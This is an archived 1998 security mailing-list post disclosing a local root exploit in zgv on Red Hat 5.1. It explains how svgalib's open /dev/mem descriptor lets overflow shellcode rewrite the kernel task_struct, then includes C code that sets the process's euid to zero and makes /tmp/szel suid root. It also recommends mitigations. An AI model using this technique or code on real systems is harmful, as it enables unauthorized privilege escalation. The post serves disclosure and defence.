Root compromise via zgv

From: Nergal (rafalat_private)
Date: Mon Oct 19 1998 - 03:29:04 PDT

  • Next message: bt398: "13 tiny bytes to show the huge sillyness of our great common"

    Hello,
    On 9 Oct Paul Boehm, whom I respect immensely for his contributions to linux
    security audit list, claimed
    >  i found this overrun some months ago and even tried to exploit it...
    >   all i got was a shell with MY uid... then i posted it to the security
    >   auditing mailinglist and Alan Cox pointed out that vga_init() drops
    >   root privileges.. all you can gain from this overrun is video display
    >   access
    False. I propose a small test: three questions. The answer for each of them
    lies 24 newlines below the question. 3 correct answers equals hash prompt.
    I tested my exploit successfully on zgv-3.0-4, which is shipped with
    redhat 5.1, overflowing with HOME env variable; I'm pretty sure it will work
    with other versions of zgv, probably on other distributions as well ( debian
    sources are almost identical to redhat's) .
    
    Q1. Indeed, after the overflow our uid, euid, fsuid and saved uid are non-zero.
    But what in fact is <quote>"video display access"</quote>, what resources
    are required ?
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Answer 1. Besides port access granted by ioperm/iopl, svgalib needs write
    access to /dev/mem to operate. Therefore svgalib keeps an open
    descriptor ( number three usually ) to /dev/mem ( is it true in all cases ?
    can someone confirm that authoritatively ? ). So, we can modify our uid
    ( any kernel structure in fact ) by writing to the kernel
    memory via /dev/mem. All we need to do in our shellcode is to exec a program
    which does lseek(3,someoffset,SEEK_SET); write(3,"\000\000",2)
    where someoffset is the addres of our uid in our task_struct.
    
    Q2. Pure technical question: How do I find the address of my task_struct ?
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Answer 2. If you, carefull reader, are older then 14, you should remember
    LDT exploit. Task_struct was pinpointed using pattern matching. This technique
    is very powerfull, can be harnessed as well for locating struct module in LKM
    which intends to be invisible. Yet there is a better method. We'll reap
    the address of struct task_struct * task[] from /proc/ksyms. It's not
    exported ? True. However, in kernel/sched.c, line 107, we read
    <quote>
    struct task_struct * task[NR_TASKS] = {&init_task, };
    
    struct kernel_stat kstat = { 0 };
    </quote>
    So, the address of task is NR_TASKS*sizeof(task_struct*) less then the
    address of kstat, which IS exported. When we have this address, we just need
    to check pid of each task struct for equality with our pid.
    The code which writes to /dev/mem is enclosed at the end of this post.
    
    Q3 An obstacle. When you spawn the exploit being logged from another system,
    you'll receive a message "You must be the owner of the current console to run
    zgv" and zgv terminates before its stack is smashed. Indeed, zgv tries to limit
    the usage of itself, allowing to be run only by the user who owns current
    /dev/tty?  . How can this check be bypassed ?
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Answer 3. Launch X-server, for instance by running X :1 & . X server will
    change the current tty to the next free one and make you owner of it,
    fooling zgv.
    
    Conclusions:
    1) Any suid program that uses svgalib must be secured against overflows as
    tightly as any other suid binary.
    2) A week ago I contacted three major Linux distributions, warning them
    about the zgv insecurity. I received two responses, one of them being "We
    don't ship zgv with our distro, nothing we can do". The second interlocutor
    wasn't too convinced about the severity of the problem; I presented him the
    exploit code, then the conversation died. If I had any doubts about
    importance of full-disclosure, they're gone now.
    3) In order to make this post complete, I should enclose a patch. However zgv
    wasn't designed with security in mind,
    [zgv-3.0-src]$ grep 'strcpy\|strcat\|sprintf\|scanf' *.c |wc -l
         55
    auditing it is a rather lengthy task.
    The best solution seems to be to remove suid bit off zgv. It is meant
    *grin* to be run from the console, and the console access usually means root
    access anyway. If you need to allow untrusted users to use it, use
    StackGuard-ed version. Or read
    http://www2.merton.ox.ac.uk/~security/security-audit-199807/0432.html
    ( this is an excellent Solar Designer's post on some clever method of
    securing to some extent strcpy's and related), add the enclosed header file
    to the end of zgv.h and recompile. This will help to defeat overflows only,
    but they seem to be the only threat: zgv runs with unpriviledged uid ( so no
    races and other fs tricks) , and can't be ptraced ( dumpable flag is set ).
    
    Salute to Abbath&Demonaz, who are immortal.
    Save yourself,
    Nergal
    
    PS . The code.
    In order to make it work, it needs little tuning. Find in your /proc/ksyms the
    address of kstat and correct the value in line 32. As you can see, this code
    attempts to make /tmp/szel suid root.
    BTW, if you don't enter this value properly, this code may well end up
    writing stuff to random locations in kernel memory. I don't take any
    responsibility for the damage it can cause :(
    A note for script kiddies & idiots: you need to compose a prog which
    overflows zgv yourself, then change usual /bin/sh to the code below.
    ------------------------------cut here-----------------------------------------
    /* by Nergal */
    #define SEEK_SET 0
    
    #define __KERNEL__
    #include <linux/sched.h>
    #undef __KERNEL__
    
    #define SIZEOF sizeof(struct task_struct)
    
    int mem_fd;
    int mypid;
    
    void
    testtask (unsigned int mem_offset)
    {
      struct task_struct some_task;
      int uid, pid;
      lseek (mem_fd, mem_offset, SEEK_SET);
      read (mem_fd, &some_task, SIZEOF);
      if (some_task.pid == mypid)   /* is it our task_struct ? */
        {
          some_task.euid = 0;
          some_task.fsuid = 0;      /* needed for chown */
          lseek (mem_fd, mem_offset, SEEK_SET);
          write (mem_fd, &some_task, SIZEOF);
    /* from now on, there is no law beyond do what thou wilt */
          chown ("/tmp/szel", 0, 0);
          chmod ("/tmp/szel", 04755);
          exit (0);
        }
    }
    
    #define KSTAT 0x001ca90c
    main ()
    {
      unsigned int i;
      struct task_struct *task[NR_TASKS];
      unsigned int task_addr = KSTAT - NR_TASKS * 4;
      mem_fd = 3;                   /* presumed to be opened /dev/mem */
      mypid = getpid ();
      lseek (mem_fd, task_addr, SEEK_SET);
      read (mem_fd, task, NR_TASKS * 4);
      for (i = 0; i < NR_TASKS; i++)
        if (task[i])
          testtask ((unsigned int)(task[i]));
    
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:20:28 PDT